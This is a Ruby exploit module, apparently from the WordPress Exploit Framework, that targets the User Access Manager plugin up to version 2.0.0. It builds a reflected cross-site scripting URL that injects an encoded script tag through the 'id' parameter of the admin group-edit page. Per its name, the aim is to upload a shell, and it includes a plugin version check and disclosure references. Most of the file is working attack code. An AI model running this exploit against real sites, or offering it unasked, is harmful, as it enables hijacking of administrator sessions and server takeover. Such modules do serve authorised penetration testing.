# frozen_string_literal: true

class Wpxf::Exploit::UserAccessManagerReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'User Access Manager <= 2.0.0 Reflected XSS Shell Upload',
      author: [
        'DefenseCode <www.defensecode.com>',       # Dislosure
        'Paul Williams <phyushin[at]phyubox.com>'  # WPXF module
      ],
      references: [
        ['WPVDB', '8814'],
        ['URL', 'http://www.defensecode.com/advisories/DC-2017-01-021_WordPress_User_Access_Manager_Plugin_Advisory.pdf'],
        ['URL', 'http://seclists.org/bugtraq/2017/May/31']
      ],
      date: 'May 11 2017'
    )
  end

  def check
    check_plugin_version_from_readme('user-access-manager', '2.0.0')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=uam_usergroup&action=editGroup&id=%5C%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E"
  end
end
